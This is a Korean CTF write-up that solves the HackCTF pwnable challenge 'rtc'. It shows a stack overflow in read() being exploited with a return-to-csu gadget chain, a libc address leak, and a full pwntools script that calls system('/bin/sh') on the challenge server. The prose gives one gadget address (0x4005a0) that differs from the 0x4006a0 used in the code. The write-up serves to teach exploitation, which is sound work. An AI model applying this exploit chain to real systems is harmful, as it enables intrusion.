tmxklab

[HackCTF/Pwnable] rtc 본문

War Game/HackCTF

[HackCTF/Pwnable] rtc

tmxk4221 2020. 8. 6. 10:50

해당 문제는 RTC(Return To Csu)기법에 관한 문제이다.

1. 문제

nc ctf.j0n9hyun.xyz 3025

 

1) mitigation 확인

 

2) 문제 확인

  • 입력을 한 번 받고 끝난다.

 

3) 코드 흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-40h]

  setvbuf(stdin, 0LL, 2, 0LL);
  write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
  return read(0, &buf, 0x200uLL);
}
  • read(0, &buf, 0x200)에서 bof발생

 


2. 접근방법

 

일단 bof취약점이 발생해서 ret값을 변경할 수 있다.

rtc라고 주어져 있어서 rtc를 이용하여 문제 접근을 하려고 하였으나 혹시나 하는 마음에 rop가 가능한지 시도해보았다.

 

  • 근데 rdi, rsi, rdx를 pop하는 가젯이 보이질 않는다.
  • 해당 가젯을 찾는 이유는 read함수를 이용하여 "/bin/sh"문자열을 저장하기 위해서다.

따라서, Gadget의 제한때문에 발생하는 문제를 해결할 수 있는 기법이 RTC(Return to csu)이다.

(RTC기법에 대한 내용은 나중에 따로 정리하도록 하겠다.)

 

해당 바이너리 파일에 먼저 __libc_csu_init()를 확인하였다.

  • stage 1로 사용할 부분은 loc_4006b6의 pop rbx부터이다.
  • stage 2로 사용할 부분은 loc_4006a0의 mov rdx, r13부터이다.

  • stage 1 address : 0x4006ba

  • stage 2 address : 0x4005a0

 

공격 프로세스)

  • read()를 통해 bss영역에 "/bin/sh"문자열을 저장한다.
  • 파라미터로 read@got를 주고 write()를 호출하여 read()의 실제 주소 값을 leak하고 leak한 결과를 토대로 libc base주소를 구하여 system()주소를 구한다.
  • 다시 main함수로 돌아와 rtl을 수행한다.

위 공격 프로세스에서 read()와 write()를 차례로 호출할 때 RTC Chaining을 사용한다.

 


3. 풀이

 

1) "/bin/sh"문자열 저장할 곳 찾기

  • 0x601060을 사용하자

2) read()를 통해 bss영역에 "/bin/sh"문자열 저장하기

main함수에서 return 주소를 위에서 봤던 stage 1 주소 값을 넣는다.

stage 1에서 pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop 14 ; pop r15을 수행하면서 각 레지스터에 스택에 있는 값들이 세팅되는데 다음과 같이 레지스터에 값이 들어가도록 구성하자

  • rbx : 0
  • rbp : 1 ←요거는 rtc chaining할 때 필요
  • r12 : read@got
  • r13 : len("/bin/sh")
  • r14 : bss address(0x601060)
  • r15 : 0

이후에 stage 1에서 ret부분에 stage 2 주소 값을 넣는다.

stage 2에서 mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call [r12+rbx*8] 을 수행하면서 rdx, rsi, rdi값이 세팅되고 r12를 call하게 된다.(이 때, rbx값은 0이므로)

 

따라서, stage 1에서 각 레지스터를 세팅하게 되면 "/bin/sh"문자열 크기만큼 bss영역에 입력을 받을 수 있게 된다.

 

페이로드 :

[ dummy(0x48bytes) ] + [ stage 1 ] + [ 0 ] + [ 1 ] +[ read@got ] + [ len(binsh) ] + [ bss(0x601060) ] + [ 0 ] + [ stage 2 ]

 

<< stage 1 실행 >>

 

<< stage 2 실행 >>

 

3) write()를 통해 read()주소 leak

read@got값을 출력하면 실제 주소 값을 leak할 수 있으므로 write(1, read@got, len(read@got))와 같이 구성되도록 페이로드를 작성하자

 

페이로드 :

[ 0 ] + [ 0 ] + [ 1 ] + [ write@got ] + [ len(read@got) ] + [ read@got ] + [ 1 ] + [ stage 2 ]

 

페이로드 맨 앞에 0을 한 번더 쓰는 이유 :

위에서 bss영역에 문자열을 넣을 때 rbp에 0으로 설정하면서 RTC Chaining을 수행할 수 있게 되는데

  • read() call이후에 rbx값과 rbp값을 비교하고 이후에 rsp에 0x8만큼 더함

따라서, 맨 앞에 0을 안주고(0말고 다른 dummy(8bytes)값 상관없음) 페이로드를 구성할 시 스택에서 한 칸씩 밀리게 된다.

  • 한 칸씩 밀리게됨

4) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./rtc")
p = remote("ctf.j0n9hyun.xyz", 3025)
e = ELF("./rtc")
libc = ELF("/home/cmc/Desktop/lib_hack/rtc/libc.so.6")
#gdb.attach(p)

main_addr = e.symbols['main']
read_plt = e.plt['read']
read_got = e.got['read']
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
write_got = e.got['write']
bss_addr = 0x601060
init_stage1 = 0x4006ba
init_stage2 = 0x4006a0
binsh = "/bin/sh\x00"
pr_addr = 0x4006c3

log.info("read@plt      : "+hex(read_plt))
log.info("read@got      : "+hex(read_got))
log.info("read offset   : "+hex(read_offset))
log.info("system offset : "+hex(system_offset))


# 1. Input "/bin/sh" (bss address)
payload = "A"*0x48
payload += p64(init_stage1)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(len(binsh))
payload += p64(bss_addr)
payload += p64(0)
payload += p64(init_stage2)

# 2. Leak read() address
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(10)
payload += p64(read_got)
payload += p64(1)
payload += p64(init_stage2)

# 3. return to main
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(main_addr)

p.sendafter("\n", payload)

sleep(0.1)

p.send(binsh)

sleep(0.1)

read_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = read_addr - read_offset
system_addr = libc_base + system_offset

log.info("libc base   : "+hex(libc_base))
log.info("system addr : "+hex(system_addr))

# 4. return to system
payload = "A"*0x48
payload += p64(pr_addr)
payload += p64(bss_addr)
payload += p64(system_addr)

p.sendafter("\n", payload)

p.interactive()

 

5) 실행결과

 


4. 몰랐던 개념

 

참고 사이트 :

 

Return-to-Csu 기법 정리

포너블 문제를 풀 때, 64Bit 바이너리가 까다로운 이유가 바로 'Gadget' 때문이다. 64Bit의 Calling Convention은 Fastcall로 호출된 함수에 인자를 레지스터로 전달한다. 이 때문에 Exploit을 구성할 때도 [POP R.

py0zz1.tistory.com

 

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] World Best Encryption Tool  (0) 2020.08.15
[HackCTF/Pwnable] register  (0) 2020.08.15
[HackCTF/Pwnable] sysrop  (0) 2020.08.06
[HackCTF/Pwnable] Unexploitable #1  (0) 2020.08.06
[HackCTF/Pwnable] ROP  (0) 2020.07.20
Comments